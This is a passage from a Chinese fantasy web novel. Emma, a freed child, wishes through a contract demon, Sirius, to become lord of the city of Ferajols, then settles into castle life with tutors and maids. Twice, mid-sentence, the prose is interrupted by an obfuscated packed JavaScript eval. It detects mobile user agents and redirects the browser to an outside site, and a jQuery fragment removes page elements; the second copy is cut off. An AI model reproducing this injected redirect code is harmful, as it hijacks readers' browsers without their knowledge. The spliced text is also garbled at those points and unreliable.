她捏着被子,很不确定地问:“呃……可以的话,你能,给我讲个故事吗?” 西里斯愣了片刻。艾玛没敢抬头,看着自己将被子抓得皱成一团。 “当然。”他回答,“乐意效劳。” 艾玛在床上躺了三天,热度才彻底退去。 此前十一年的人生里,她还从未过过这样悠闲且无所事事的日子。 西里斯不建议她在病中多做活动,为了让她消遣时间,给她买了些绘本、音乐盒、木雕摆件之类的玩具。 他在外采购完东西回到旅店,见艾玛正站在窗边,趴在窗框上看风景。那些小玩具被整整齐齐地列在床头的柜子上。 “您在看什么?” “雨。”艾玛回答,伸出手接着空中掉下的水点,细细的雨丝落在手掌上,汇成一粒粒水珠滑下去。 她右手的伤口已经完全愈合了,明明是贯穿那样严重的伤势,现在却一点看不出痕迹。 “小心着凉。”西里斯只关心了一句她的身体。 艾玛收回手,看着天空:“这里这几天都在下雨。我出生的城市很少有雨天。” “这座城市有个很大的湖,还有运河,湿度比较高。而且,天气快热起来了。” 有河湖的城市不多,起码艾玛出生的城市没有。她嗯了一声:“对面有家花店。” “因为气候条件合适,这里种植的鲜花品类很多。您喜欢花吗?” “嗯。我妈妈很喜欢。但我出生的地方花很少,而且很贵。” “很遗憾。您要喝点茶吗?” 艾玛离开窗边,走向桌子。 西里斯已经倒好了新沏的茶,替她拉开椅子。 但艾玛没有坐下,而是在他面前站住了,仰头看着西里斯的眼睛。 “我想好第一个愿望要许什么了。”她说。 4. 细则 西里斯稍微有点诧异。根据这几天的相处,他能看出艾玛是欲求薄弱、想法很少的类型,也担心过对方想不出什么愿望的可能。 但艾玛看起来是认真的。他半跪下来,配合对方的视线高度,示意自己洗耳恭听。 艾玛看着他的眼睛,手握成拳,很认真地说:“我想要……财富,地位,和权力。” 西里斯一时间以为自己听错了。 “力量的话……那个,你说我是女巫,学魔法会很容易。” 西里斯发现自己好像没听错。 艾玛把他的反应认作了委婉的回绝:“是不行吗?呃,确实,这很像三个愿望,合成一个是不是像耍赖……” “不,我只是……有点意外。”西里斯说,“因为太……经典了,不像您的风格。” “呃,可以吗?” “当然。只要您是认真的。我说过,我能为您实现的,近乎一切。” 他挥了挥手,桌上的杂物飘起来,飞到一边。纸张、墨水和钢笔顺着他的动作落到桌上。 艾玛感到自己也在空气中浮了起来,轻飘飘地落上椅子,被推到桌前。 西里斯坐在她对面,拿起钢笔:“让我们谈谈细节。‘财富,地位和权力’,您要多少财富,多高的权力和地位?一个家族,一座城市,一个国家,还是……在这之上?” 艾玛跟他对视了一会儿,低下头,看着桌上的白纸,又抬起头,然后沉默。 西里斯说:“您看起来还没有想好细节。” “嗯。”艾玛坦诚。 “那么……我们聊聊看,一点一点确认吧。”西里斯也不着急,在纸上画了个圈,“首先……您想要怎样的‘地位’?” “我以前听说过,那个……足够有钱的话,可以买到爵位,成为贵族,什么的。”艾玛用手势比划了一下,“大概,这个程度就差不多?” “嗯……贵族的爵位。我大概理解了。”西里斯点头,“如果您指的是像我们现在所处的这个国家的制度,爵位需要王室的承认和授封。贵族需要管理封地,最低程度也是国内某片领土的领主。那么,姑且一问,您有没有直接取代王室的意向?” “呃,你希望难度更高一点?” “如果您有更大的野心,将来想要修正这个愿望,追求更高的地位,那我的建议是一开始就把目标放到更高的位置,对我来说会更省心。如果第一个愿望是成为贵族,第二个愿望是成为国王,本质没有区别,还会增加多余的步骤。” 艾玛想了想:“国王的话……好像会影响太多人,感觉很麻烦。贵族就差不多了。” “这样的话……‘封地’,您想要哪里作为封地?”西里斯在圈里画了另一个圈,“您的家乡?” 她放在桌上的手指不自觉地敲了敲:“不……我想,嗯,其他地方吧。比如……现在这座城市?” 西里斯挑一挑眉:“您被劫持到这里,我以为您对这儿的印象会不太好。” “在那座市场里的时候,我没看过外面的城市,对这里说不上有什么印象。那些强盗也是这里的‘外来者’,不能代表什么。如果被劫持到这里是不幸的体现,那么我在这里遇到你,就应该是‘幸运的体现’吧。” 西里斯顿了顿,声音里听不出喜悦:“您认为遇见‘恶魔’是‘幸运’吗……我受之有愧。就像之前约定的,实现三个愿望的代价是您的生命。我帮助您,只是为了我自己。” “我知道。但是,即使我真有你说的那么……厉害,现在的我也做不到什么。没有遇见你的话,可能发烧的时候我就死了。” 西里斯沉默了一会儿:“您没必要这么客气。退一万步说,无论您是个怎样的人,在我的目的实现以前,我都绝不会让您死去。您任性也无所谓,厌憎我也无所谓,我不会因为这点小事就反悔。在我看来,您答应了我的契约,现在是我欠着您的,您大可多要点回去。” “我没想这么多。你帮助了我,所以我想感谢你,这很正常吧?”艾玛说。 “好吧……我了解了。”西里斯叹了口气,“说回之前的话题。您想要的领地,是‘像这样的城市’?” “我之前几乎没有离开过出生的城市……也不清楚其他地方的情况。这座城市应该……离我的家乡不会特别远,我想刚刚好。你觉得这里怎么样?” “这座城市叫‘费拉约尔斯’,简称为‘费城’。有‘鲜花之都’的美名,气候和地理条件都不错,您的眼光很好。”西里斯拿笔尾点了点自己的下巴,“而且,很巧的是,根据这几天我看到的情况,要拿下这座城市的难度不大。” “嗯?” “如果您确认就要这里,我想想……三天。给我三天时间,我会把原来的领主‘请’出这座城市。” 三天很短,对于这样一个愿望来说,短得让人惊讶。但是故事里的大法师挥手就能平地盖起一座宫殿,得到力量的巫师瞬息间就能成为一国的王,艾玛以为自己许的愿也是如此,没想到好像还有一些现实而复杂的中间步骤:“我以为……你用个魔法就好了。” “魔法确实无所不能,但只要涉及到‘人’的方面就会变得很麻烦。比如,‘让某人成为一国的王’,我可以用魔法给那个人变出奇珍异宝,他可以拿那些财宝去收买他人,得到民众和大臣的认可,再用魔法作为‘武力’帮他兵变篡位。实际做起来更要迂回很多。 “但我没有办法用法术让所有人直接在认知上承认那个人为一国的王。直接用魔法改变人的认知和意识是毁灭性的,相当于直接杀死了那人的精神。如果将臣民都变得像木偶一样,或许确实能得到那个国家,但也没什么意义了。” 艾玛表情凝重:“听起来好危险。” “您不需要太担心,能够改变人的想法认知甚至记忆的魔法师虽然存在,但数量并不多。他们的魔力必须远超过被施术者,而且只能同时对少数人施法。能力越危险,限制也越多。” 艾玛想了想,点头:“这很公平。” “改变认知不是我擅长的领域,不造成后遗症的前提下,我只能用法术辅助诱导别人的想法。直接摧毁别人的精神也可以,但那对我来说也是种不太舒服的感觉。如果没有必要,我会尽量避免。”西里斯顿了顿,“魔法不是像故事里那样方便的东西,您会失望吗?” “呃,不……倒是没有。还有一点点……‘放松’吧。”艾玛抓了抓脸,“怎么说呢……故事里的魔法都很抽象,虚无缥缈的。但像你描述的,有限制,感觉好像,更立体了一点。” 艾玛艰难地描述着自己的想法,又总觉得没有说到位,困扰地停了一会儿,才干巴巴地接着道:“嗯……就是,听起来,魔法好像还挺公平的。” “是的,魔法很公平。”西里斯想到了什么,但最后并没有多说,只是垂下眼笑笑,在纸上写了几笔,“然后,关于愿望里的‘财富’……一般来说,成为领主本身就意味着拥有不低的财富,对于这点,您有什么要特别补充的吗?或者说,您期望的‘富有’在什么程度?” 艾玛想了一会儿,不确定地回答:“呃……想吃什么,想用什么,都买得起的程度?” “那就先定在一般领主的标准吧。这点不那么重要,您之后要是有更清晰的需求,我免费为您调整。然后是……‘权力’。”西里斯在纸上画了个框,将之前的画的东西都圈在其中,“您是想成为这座城市真正的‘领主’,还是只想享有领主的一切权利,但最好不必负担义务?” 艾玛歪了歪头。 “我猜您不太了解‘领主’的工作,就先简单介绍一下:‘领主’是王室授封的贵族,享有贵族的荣誉和权力,需要管理其对应的封地,而贵族们需要定期向王室缴纳税金来维持这些权利。高额的税金需要从领民处获取,但领民们也只有生活得好,才付得起这些费用。所以,领主必须‘经营’好自己的封地,才能保住自己的地位。 “这些管理工作是综合性的,包括商贸、法治、外交等等,稍有规模的城市都会建立一套小型政府体系,不断更新、维护它的运转,但最重要的决策权必须在领主手上。 “很多贵族都不是管理型人才,根本负担不起这些工作。所以一些领主会为此聘用‘城主’这个职位,‘城主’负担了一切领主本应承担的工作,能获得的回报却远不及领主坐享其成……当然,分出权力本身就意味着风险,城主反叛的例子也有不少。但要是做好平衡,这也不失为一种对领民负责的解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859118|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决办法。 “‘费拉约尔斯’的前领主是位实干家,算是尽职尽责,将这座城市经营得不错。但他在几年前因急病去世,留下一双儿女。没有遗嘱,就按传统由长子继承他的伯爵爵位。那位长子——也就是现今的领主,毫无管理的才能。但他又不肯聘用一位城主,分出权力。虽然,我想以他的能力,也做不到制衡他雇佣的代理人。 “所以,这座城市现在一团乱,许多富豪和领民都搬走了,那位领主还在加重税金。按这个趋势下去,他迟早会丢掉爵位……只要不是蠢到家了,都该有所觉察。从地理和环境来说,费拉约尔斯可是个好地方,盯着这里的人绝不会少。那么只剩下……他能将这个爵位卖出多少价格,最后赚一笔了。 “我会给他一个满意的价格。而您该考虑……是否真的要接过这个烂摊子了。您是想要雇佣一位城主替您处理,还是像前领主一样自己负担所有的工作呢?” 艾玛盯着他面前写写画画的纸张,想了一会儿,抬起头诚恳地问:“你的意思是,我当领主,然后雇佣你当城主吗?” “啊……假如让您认为我有这种意思非常抱歉。说实话,我讨厌麻烦事。”西里斯向椅背上一靠,“如果要找一位合适的城主,我会替您物色人选,也会帮您制衡他的权力。至于亲自管理,我对这些毫无兴趣,也不认为有必须自己经手的必要。” “呃……可是,我现在也不可能做好这些工作吧?就算现在开始学,也不可能一下子就做得好。” “当然,学习到能做好这些工作需要不短的时间。但如果您只是想要这个身份所具有的权利,也就没有非得承担那些麻烦事的必要。雇佣一位代理人是合理的解决思路。” 艾玛的手指在手背上一点一点,皱眉沉思着。 猜测了她可能的困扰之后,西里斯补充:“您不必觉得这是‘逃避职责’,事实上,大部分人都不喜欢自己的工作。而您现在有选择的自由。即使有人想指责您,也大多出于他们自己无法选择的嫉妒罢了。” 犹豫了一会儿,艾玛才缓慢地开口:“我是在想……‘我做得好吗?’” 西里斯顿了顿:“您想试试看?” 她低头看着自己的手,指尖分开又碰在一起:“那些工作听起来不容易。如果我努力学习……我不知道……我做得好吗?” 西里斯静了片刻,说:“没尝试过之前,谁也不知道结果。如果您真的想知道,也可以把这个答案当作目的努力——我还是要提醒您,如果您确定这么选择,会很辛苦的。” “我想多学一点东西,但是……很担心,自己做不好。这样的工作,如果我做得不好,可能会影响到很多人……” “做这种工作的,任何决策都会影响到别人,也没有人是绝不犯错的。比起担惊受怕地犯错,不如理直气壮地犯错,起码心情会好一些。现在那位领主大人把事情搞得一团糟,但他心态就很好,前几天还在城堡里办了宴会。您看,也不是那么难。” 艾玛点头,仍然有点忐忑,但又认真地看向西里斯:“我想试试看。” 西里斯叹息:“哎……说真的,您既然有这样的决心,不如真的去当这个国家的王呢?管理一座城市和一个国家,虽然规模有差异,但本质是相同的。” “那个压力太大了。”艾玛说。 “倒也是。”西里斯沉吟了一下,“您现在还不可能接任领主的工作,需要先花时间学习,而且根据这里的规章,似乎还有一些年龄的限制……不用担心,任何法规都是可以修改的。那么,在您接任之前,还是有必要找一位城主代理,等到您准备好了,他也不能成为您的阻碍。我会安排好的。嗯……需要确认的问题都差不多了。” 西里斯推开之前的纸张,抽出新的白纸,放在艾玛面前。 “最后一个环节,我们来编故事吧。” “‘突然出现在城堡里的新领主是什么来历’,肯定会有很多人好奇。为了适当地满足他们的好奇心,我们需要编一套说得过去的说辞。这种事我做过很多,经验丰富,已经想了个大概,您听听看,我们对一下细节。” 西里斯叠起双手,微笑道:“首先,要当做您失忆了。” 艾玛:“嗯?” 5. 三天 “失忆是个很好的借口,能解决掉相当多问题。并且,我们的剧本里不会有恢复记忆的桥段,所以相关的设定全都可以省略。如果有人问起您的过去,只要您解释为‘失忆了,所以全都想不起来’,别人就无法再追问了。” 艾玛有点被震撼了。 “如果您有一些行为上的异常,遭到一些不识相的人的追问和质疑,还可以再表演一下‘头好疼’‘想不起来’,效果很好。” 艾玛真的很震撼。 她沉思了一会儿,表情严峻:“我会努力的。” “这样我们的剧本就编完一半了。”西里斯思考,“剩下是关于我的部分,嗯……‘因为被您搭救而决定誓死跟随您’这样的可以吗?” 艾玛觉得哪里有点不太对劲,想了一会儿才从这种熟悉感里回过神来:“这不是和我们的现实情况刚好相反吗?” “故事来源于生活嘛。”西里斯笑。 “可是……我,呃,故事里我是怎么救你的?” “为了避免更多的漏洞,我们最好把这段模糊处理。‘您用魔法救了正处于危难中的我’,之后就昏迷了,醒来就失忆了。别人如果问起我,我会加大渲染自己的感激之情然后把具体情况糊弄过去的。以及,如果有人问起我的过去,我也会以‘在跟随您之前的人生都已经舍弃了’为借口,这一段就不编了。” 艾玛沉默了,片刻后感想道:“你真的很会编故事。” “感谢夸奖。” “这样的……真的会有人相信吗?” “对于一些人来说,他们早就有了使用魔法的资质,只是在等待‘十二岁’这道门槛。刚满十二岁就能使用魔法的人真实存在。更多人根本不了解这些细节,有时候现实和故事一样夸张,他们愿意相信就会信了,不愿意相信的,即使是事实对他们也没有意义。 “故事里,您背后可以有一对神秘的父母,这样的说辞能解释买下爵位的财富的来由,因为一些原因,他们希望失忆的女儿在这座城市休养。我见过他们一面,知道他们的姓名——当然,我不会告诉别人。只要装得高深莫测一些,那些人就会被自己想象的答案吓到并感到满意了。” “然后……还有一件事,虽然不是很重要。”西里斯的口吻很淡,“您该换个名字,也可以编个没人听过的姓氏。您的过去从此不会再找上您,这是个新的开始。” 艾玛怔了怔。 “您有什么理想的名字吗?啊,您还不认识字,如果有什么想要的寓意,我可以帮您……” “我……不打算换名字。” 西里斯的语声停下来。艾玛少有说得这么肯定。 这话出口甚至快过了大脑,以至于艾玛自己也愣了一下。两个人都安静了一会儿。 “我喜欢这个名字。”片刻后,艾玛说,“这是妈妈给我取的。她不认识字,这个名字在我们那里其实很常见。它的意思是……‘恩典’‘永恒的花’。这是……妈妈留给我的。我很珍惜。” 西里斯一时没有说话。艾玛从他的目光中读到了一些她不理解的情绪。 那情绪很快消失了,西里斯的语气平常:“她很爱你。” “嗯。”艾玛认真地点了点头。 “我明白了……不改名字也没有太大关系,没有姓氏也可以跟失忆关联。概括起来,就讲这么个故事吧: “‘我被您所搭救,但您醒来时失去了所有记忆。我猜测您的家人出于意外在这附近和您分别,因此想在这座城市安身。恰好费城的领主有意出售自己的爵位,而我在遇见您的神秘山洞里获得了大量财宝,买下了这个位置。’ “按照这个设定,您应该有些神兽的血统,虽然不知道是哪支血脉,总之,因此有出色的魔法天赋。如果真有人要根据这个故事来认亲,我会把他们挡回去的。” 艾玛表示理解了。 “那么,该确认的事项都了解得差不多。最后还有一个……小小的仪式。” 西里斯隔着桌子牵起她的手,推开椅子,走到她身边单膝跪下:“说出您愿望的内容,然后说‘这是我的第一个愿望’,契约就会生效。” 艾玛点头。 “‘我想成为这座城市的领主’,这是我的第一个愿望。” 话音落下的瞬间,艾玛感到右手曾被贯穿的手心开始发热,好像有什么与它相连的东西被松开了。光点包围了他们。 西里斯扬起唇角,吻了吻她发热的手背:“为您效劳。” 艾玛看见光点出现又消失,手心的温度也恢复了正常,一切看起来似乎没什么变化。 “这样……许完愿,会不会对你有什么压力?”艾玛担心道,“比如,在愿望实现前你会觉得不舒服之类的。” “不会,感谢您的关心。涉及到社会人理层面的愿望,在契约中更多的意味是‘承诺’。只要承诺人的意愿是尽其所能去实现,不擅自放弃,甚至不论结果,都不算违背契约。只有一些即时性的愿望、在承诺人能力范围内的,会被要求立刻生效。” 西里斯微笑道:“不过,‘许下第一个愿望’现在最大的意义是:契约正式开始履行,从此没有再撤销和反悔的方法了。” 艾玛点头,很平常地确认了这件事:“好的。” 西里斯起身,收拾着桌面的纸张询问:“您的烧刚退,还需要多休息。聊了这么多,是不是累了?先吃点什么吧。愿望的事,我很快就去安排。” “其实……还有一件事,我想说很久了。” 艾玛小心地举起一根手指,西里斯示意她请说。艾玛咽了口口水,问:“你一定……要对我用敬语吗?” “嗯。”西里斯微笑着露出了“不然呢”的表情。 “那……那你真的要在别人面前叫我,呃,‘主人’?” “是的,主人。”西里斯坦然应道,“在奴隶制的国家中,这样的称呼应该很平常。” “确实很平常。”艾玛说,“但是听到你这么叫我就……心虚。” “您完全没有心虚的必要。比起纸笔写成的卖身契,我们的契约可是刻在我的心脏上。我将自己的性命完完全全地托付于您,交给您的忠诚和权力绝不比一般奴隶少半分。您应该有足够的底气。” 艾玛很难描述自己的感觉,但他讲得实在很有道理,因此默坐半天,最终只是沉重地点头:“你说得对。” “当然,我理解您还不习惯,我们可以慢慢来。我做替人实现愿望的职业恶魔也还是头一回,有什么不满意的地方,请尽管提,我会改进的。今后对您用敬语的人只会越来越多,我相信您会适应的。要喝点什么吗?” “有麦茶吗?啊……谢谢。” 在和西里斯谈过,确认了愿望的诸多细节之后,对他承诺的“三天”,艾玛本来甚至做好了独立生活三天的准备。 而西里斯的回应是“怎么可能,您想什么呢”。 艾玛以为他这三天会紧锣密鼓,满满当当,四处奔走,见不到人。事实是她以为西里斯出去买了趟东西的工夫,他也确实买了东西,回来顺便说了句安排好了,并说艾玛已经有所恢复,适当运动对健康有好处,问她要不要出去走走。 艾玛跟着他出门,逛了服装店,鞋帽店,花店 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而艾玛得到的结论是“他可以吃这些东西”,于是推开桌面的层层碗盘,将自己面前的甜点挪到他面前:“这个还挺好吃的,你尝尝看?嗯,你喜欢甜的吗?” “我没什么偏好。”西里斯看了看碗里缺了个角的蛋糕,拿起勺子,舀了一口。砂糖和奶油在口腔里融化了。 西里斯评价:“这家店放太多糖了。您少吃点。” 艾玛准备继续动工的勺子停住了。她看了看蛋糕,又看了看西里斯。 西里斯把只动了一口的蛋糕放回她面前:“吃完这份还是没问题的,不影响您的健康。” 艾玛得到了允许,点点头,放心地继续吃了。 三天就是三次日升月落的轮回,时间像大漠里的风沙,眨一眨眼就从人身边经过了。 艾玛度过了放松地吃喝玩乐的三天,在承诺的第四天的早晨醒来,耀眼的阳光穿过床对面敞亮的窗,风把窗帘吹得呼啦作响。有人把窗帘系住了,走过来,撩开她的床帐——旅店的房间并没有这玩意。 西里斯弯下身,暗红的长发落到她被褥上:“早上好,主人。” 艾玛看着天花板,看着西里斯,坐起身,看着床对面很远的墙,墙上的窗,窗外的树,早上的鸟,灿烂的阳光。 她确认这确实不是旅店的房间,一切规格都比那家不错的旅店还好上不少。 西里斯介绍:“这是城堡里领主的房间,已经简单地重新布置过了,今后您可以根据自己的喜好再装点。” 艾玛愣愣地坐在床上。 “城堡里的佣人们都已经知道了,您等会儿可以去跟他们打个招呼,四处看看,熟悉一下环境。家庭教师我也已经有了人选,等您准备好了,随时可以开始学习。” 艾玛说:“好突然。这是魔法吗?” “您指突然出现在这个房间里的事?” “不,呃,是,要说的话,全都很突然。”艾玛一时不知道从哪里问起,“你之前没说……我还以为没准备好,还要再推两天。” “怎么会,我答应过您只需要三天。这是魔法嘛。” 艾玛问:“我可以先在这里冷静一下吗?” 西里斯说:“当然可以。不过楼下的早餐会凉掉,希望您能在那之前冷静下来。” 还没有习惯不愁吃穿的生活的艾玛接受不了浪费粮食:“我冷静了。” “好的。那么……虽然还不算完全的名实相符,但在名义上,您确实已经是费拉约尔斯这座城市的领主了。” 恶魔牵着艾玛的手,向她微笑:“祝我们接下来也相处愉快。” 6. 新环境 艾玛住进领主城堡的时候,费城的春天才刚刚开了个头。 这段时间天气不怎么稳定,温度上上下下,有时透出一两分暖意的势头,有时反而比之前更冷,让人疑心冬天是否仍打着主意要在此常住。 雨时不时光临,这对艾玛来说有点新奇,但听说城里的湖泊和港湾还结着冰。 没什么事情需要做的时候,她喜欢在窗边发呆,有时扒的是走廊边的窗。佣人们忙忙碌碌经过,看习惯了后逐渐不以为怪。 过去艾玛经常去市坊跑腿,偶尔替人看摊,在商队也接触过不少人,因此和城堡里的佣人们打交道比她想象里要简单。艾玛的性格不难相处,虽然以前偶尔会被评价木讷和奇怪,但相识的大多觉得她人不错。 前领主搬走得又快又匆忙,让许多人反应不及。 他只带走了家人和签有卖身契的仆人,以及一些方便携带的财宝,离开速度快得像逃难,很难不让人疑心是受了什么胁迫。 但见过他的人又说前领主离开时满面春风,不像受了威胁,倒像中了头彩。 西里斯私下里对艾玛的回应是,和平的金钱收买和一定的法术诱导;表面上西里斯宣称自己也不清楚,猜测他想开了一些哲学难题,找到了人生的崭新目标,毅然决定奔赴新的生活。 虽然有人将信将疑,但相信的人比疑心的多。 新领主继任后第一件事就是免了领地往后两年的税收,一时间夸赞和喜悦盖过了那些无关痛痒的怀疑。 但还是有人忧心忡忡:听说新领主是个来历不明的小女孩,将来的日子真的会好起来么? 艾玛暂时没有精力关心那些怀疑和质问,她正全力适应着城堡的生活,并鼓起勇气积极地面对一天天多起来的课程。 当务之急,艾玛最需要学习的课程是“语文”。不识字是她现在最大的困扰。 如果看不懂文字,其他需要书本的课程推进也会变得困难,而且失忆到不认识字不免引人怀疑。 “有件事我一直有点好奇。”西里斯提起,“以您过去的生活环境来说,没想到您会说通用语。各地的方言不容易学习,用翻译法术沟通又有失准确,您会通用语倒是帮了我不少忙。” 艾玛之前一直和西里斯用通用语沟通,自然而然,现在才提起这个问题。 各国各地虽然还算鼓励通用语的学习和传播,以便商贸发展,但根植于各地的母语影响显然更大。 民众多会说上几句通用语,更多人仍然用着方言,只有贵族、富豪等有钱有野心的人会从小教育子女以通用语学习为主。 艾玛说得更顺口的还是波克语——现在仍然所处的这个国家,她的母国“波克奈利王国”普遍使用的当地语言。 “我的父亲是商人,通用语在经商上会有帮助,他在家里主张所有人用通用语交流。我出生的时候,妈妈已经把通用语讲得很顺了,我从小有同时接触这两种语言,虽然不认识文字。 “不过在家外面,和人打交道的时候,我们一般还是说波克语。嗯,你没觉得我的发音奇怪就好。”艾玛抓了抓头,想想,又补充了一句,“父亲说,我能学会通用语的话,将来把我卖给其他地方的人也更方便。从结果上来说,好像说得也对。” “真是没有底线的人渣。”西里斯露出了鄙夷的神色,“能学会两种语言是您自己的努力,和他没什么关系。您不需要把他的话放在心上。” 艾玛点头,看着窗外,风把雨丝吹拂到玻璃上。 正常的贵族小姐不可能在艾玛这个年纪还不认识字,失忆也不太会让人失去识字的能力。 艾玛不知道西里斯是怎么向她的语文老师解释的,但总之,老师没有追问。 艾玛的语文老师叫沃妮亚,是位温柔耐心的女士。或许因为家中有个年幼的女儿,她看艾玛的眼神格外柔和亲切。 艾玛一开始还担心自己明显的波克语口音和几乎空白的文字知识,但女士并没有表现出过度的好奇,只是细心地帮她纠正发音,从零开始教她认字。除文字作业外,她还给艾玛布置了一些发声练习。 西里斯认为艾玛现在要适应的东西太多,不宜着急,除了语文之外,一开始只安排了音乐和美术课。那两门就轻松随意很多。 西里斯特别嘱咐老师们先不用介绍什么流派和历史,也不用强调技法,给艾玛画具和乐器,让她怎么高兴怎么玩就行,东西报废了就买新的。 态度随意得让老师们困惑甚至惊惧,疑心这位学生是个拆家的主。 直到看见学生艾玛姿态不算端庄但还乖巧,会向他们询问画具和乐器的正确使用方式,并没有把它们上成手工课的打算,才松下一口气。 其他时间艾玛就在城堡里四处乱逛。 她请沃妮亚女士喝过两次下午茶,只是闲聊;还跑去佣人们的工作场合进行旁观,一来二去就跟人混熟了。 城堡里的佣人大多还是之前那批,他们只是受金钱雇佣,换了个主人付钱不影响他们的工作。 城堡的老管家世代侍奉前领主的家族,跟着前领主离开了费城,西里斯就暂时接过了管家的工作。 “暂时。”西里斯强调,“虽然这个‘暂时’可能需要持续几年,等事情都稳定下来,不过,我不喜欢这么麻烦的工作。” 虽然说“不喜欢”,但西里斯将工作完成得很好。 接过一座有诸多弊病的城市本来就不是易事,但他在代理领主工作之余还将城堡上下都安排得当,头脑与手腕可见一斑。 别人还不知道的是,西里斯到这座城市并没有多久。 艾玛也好奇问过他:“许愿的时候,刚刚跟你提起这座城市,你就对这里的情况很了解的样子,是在这里待过很长时间吗?” 西里斯摇头:“不,遇见您的时候是我停留这个城市的第二天。这些情况稍微打听一下就知道了,了解自己所处的环境是我的习惯。国家,城市,这些东西的制度哪里都大同小异,知道一些就能类推出其他,没什么稀奇的。” 他回答得轻描淡写,艾玛愣愣地听完,脑中天体运行了一会儿,结论感慨道:“你真的很厉害啊。” 西里斯一如往常中规中矩地回应她的夸赞:“我的荣幸。” “西里斯先生真的很厉害啊。”私下里雪莉也对她感慨,莫妮卡在一边点头赞同,“而且,有点……严肃吧?不怎么笑,在他面前说话的时候我好紧张。” 莫妮卡用力点头赞同。 嗯? “‘严肃’……‘不怎么笑’?”艾玛有点发愣,“呃,你们说西里斯吗?” 雪莉和莫妮卡对视一眼,困惑地点头。 虽然,艾玛也有所感觉,西里斯对别人来说可能不是很好相处的类型,只是因为有求于她,对她格外客气罢了。 沃妮亚女士说,“严肃”的定义是“认真,郑重,使人敬畏”,跟“轻松”和“幽默”是反义词。 艾玛思考了好一段时间,郑重地问西里斯:“你最近不开心吗?” 西里斯讶异地抬了抬眼:“不……我最近难得心情不错。” “哦……那,那好。不开心的话,你不要勉强自己啊。” 西里斯因为困惑而停顿了一会儿,回答:“好的。” 根据雪莉后来的反馈,西里斯并没有自那之后就变得亲切。 艾玛认真地又想了好一段时间,最后得出结论,她确实还不是很了解西里斯。 雪莉和莫妮卡是艾玛的贴身侍女。雪莉比艾玛小两个月,莫妮卡则比她们大一岁。 雪莉之前在门厅工作,主要负责打扫房间和接待客人,莫妮卡则在洗衣房工作,两人之前只见过几次面。 西里斯选中她们的理由是年龄和艾玛相近,会说通用语。 相近的年龄和实际上相似的出身环境让她们处起来很顺利,没多久就熟络了。 雪莉性格大方,甚至有些小小的傲慢,在同龄人里算个很漂亮的小姑娘。 她的长发是白色的,尤为特殊的是她有一对和白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“可以摸摸看哦!”她骄傲地哼哼,把头凑到艾玛和莫妮卡面前来。 艾玛摸了摸那对白色的翅膀。 柔软的,羽毛的触感,连着血脉和骨肉的温度,像是有它独立的脉搏一样。 雪莉因为被她碰得痒而咯咯笑起来,抓住她的手说要顺着羽毛摸——那对翅膀扑动了几下,翅尖点到她手背上亲昵地蹭蹭,动作灵活得艾玛惊叹。 和自信的雪莉相反,莫妮卡性格内向,想法消极,很为自己脸上的雀斑和天生的卷发而自卑。 她时常觉得自己愚蠢又笨拙,做不好工作,一个人偷偷掉眼泪。 虽然比另外两人大一岁,但雪莉和艾玛一起安慰她的时候比较多。 雪莉觉得她只是担心和顾虑太多了,八成是以前被不讲理的上司骂出了心理阴影。 艾玛也反复认真地肯定道,莫妮卡现在真的把工作都完成得很好,真的很好,不要伤心。 一段时间之后,莫妮卡才对她们敞开心扉,告诉了她们一个小小的秘密。 她再三确认房间外没有其他人后,关好门,转过身,解开腰后用来遮挡掩盖的大蝴蝶结,撩起裙子,露出——臀部上一截小小的尾巴。 那尾巴厚实得几乎像一个球,背上的绒毛是比她的发色还要深一些的棕色,底下的绒毛是白色的。 莫妮卡只给她们看了两眼,就匆匆拉上了裙子,没等雪莉实施什么犯罪行为。 雪莉刚刚伸出的手落了个空,大感失望:“让我摸摸嘛!” “不……不行!”莫妮卡给她们看自己的尾巴已经耗尽了勇气,此时坚定地拒绝了。 “明明很可爱啊,这有什么不好意思的?”雪莉遗憾地盯着她打蝴蝶结,别过嘴,“那你也是混血吗?是什么兽类的尾巴啊?” “我、我不知道……”莫妮卡红着脸,“我的父母都觉得这个……很奇怪……他们没有。我也不知道……是什么兽类的。你们、你们不能跟别人说啊?” 分享这样的秘密意味着莫妮卡对她们的信任,两个人都点头答应。 艾玛没有说,但目光还停留在已经打好的蝴蝶结上,心里是遗憾的。 她也想摸莫妮卡的尾巴,她只是没说。 朋友之间会分享秘密。但艾玛的秘密不能说。 她想来想去,觉得能跟朋友们摊牌的也只有,前几天晚上熬夜看书被西里斯抓包了的事。 7. 魔法 沃妮亚女士送了她几本绘本,还有一些适合文字初学者阅读的小说。 艾玛第一次拥有自己的故事书,非常喜欢,对着字典一边查一边翻来覆去地看,学习吃饭休息的时候都念念不忘,晚上城堡熄了灯还打着照明继续看。 城堡里的顶灯是魔法道具,由魔法石供能驱动。城堡内控制顶灯的线路都是连通的,到点就会关闭总闸。 魔法石大致可以分为“人工制造”和“天然资源”两种类型。制造获取不易,时常还要配套对应的魔法道具使用,相关的商品价格都不低,定期维护修理也是一笔不小的开支。 点亮领主城堡里所有灯需要的供能,稍微想想就知道很惊人。 前领主喜欢热闹和宴会,城堡经常彻夜灯火不熄。他又好面子,灯要用最贵的,魔法石要用最好的,平时自己不管账,烧进多少钱都不知道。 西里斯调整城堡装修时看见那些华丽的吊灯,都要皱眉评价一句败家子。 艾玛对外宣称她正在休养,有人来也是西里斯接待,最近城堡将有很长时间不会办什么宴会。 现在城堡每天晚上十点熄灯。走廊上有几盏独立线路的壁灯,需要时可以开关。 如果晚上很迟还需要借光,就得用个人私有的小型照明工具。 传统火烛有安全隐患,西里斯在城堡里布置了可以免费申领魔法灯具的条件,每个月补发供能的魔法石。如果灯具遭到意外损坏,可以无偿维修。 这样的布置博得了佣人们的好感。虽然看起来花销不少,但比起之前彻夜通明的灯光,反倒更节省。 